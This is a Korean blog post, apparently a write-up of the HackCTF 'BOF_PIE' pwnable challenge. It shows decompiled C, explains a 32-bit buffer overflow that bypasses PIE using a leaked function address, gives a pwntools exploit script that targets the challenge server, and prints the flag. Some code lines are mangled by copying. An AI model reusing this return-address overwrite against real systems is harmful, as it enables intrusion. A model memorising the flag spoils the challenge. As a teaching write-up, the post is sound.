Wargame & CTF/HackCTF

[HackCTF / pwnable] BOF_PIE

cg10036 2019. 10. 5. 15:18

32비트 버퍼오버플로우 문제이다.


1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
  welcome();
  puts("Nah...");
  return 0;
}
cs


1
2
3
4
5
6
7
8
9
10
int welcome()
{
  char v1; // [esp+6h] [ebp-12h]
 
  setvbuf(stdin, 020);
  setvbuf(stdout, 020);
  puts("Hello, Do you know j0n9hyun?");
  printf("j0n9hyun is %p\n", welcome);
  return _isoc99_scanf("%s"&v1);
}
cs


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void j0n9hyun()
{
  char s; // [esp+4h] [ebp-34h]
  FILE *stream; // [esp+2Ch] [ebp-Ch]
 
  puts("ha-wi");
  stream = fopen("flag""r");
  if ( stream )
  {
    fgets(&s, 40, stream);
    fclose(stream);
    puts(&s);
  }
  else
  {
    perror("flag");
  }
}
cs


v1을 오버플로우 시켜서 ret을 덮어씌우면 된다. PIE가 적용되어있어서 base를 구해야 한다.

welcome함수의 주소를 준다. 출력된 welcome 주소에서 elf에서의 welcome주소를 빼면 base가 나올것이다.

elf에서의 j0n9hyun에서 base를 더해준 값으로 ret을 덮어씌우면 플래그가 뜰것이다.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
 
= ELF("./bof_pie")
#p = process("./bof_pie")
= remote("ctf.j0n9hyun.xyz"3008)
 
p.recvuntil("j0n9hyun is ")
welcome_address = int(p.recv(10), 0)
base = welcome_address - e.symbols["welcome"]
j0n9hyun_address = base + e.symbols["j0n9hyun"]
 
payload = ""
payload += "A"*(0x12+0x4)
payload += p32(j0n9hyun_address)
 
p.sendline(payload)
p.interactive()
cs


BOF_PIE : HackCTF{243699563792879976364976468837}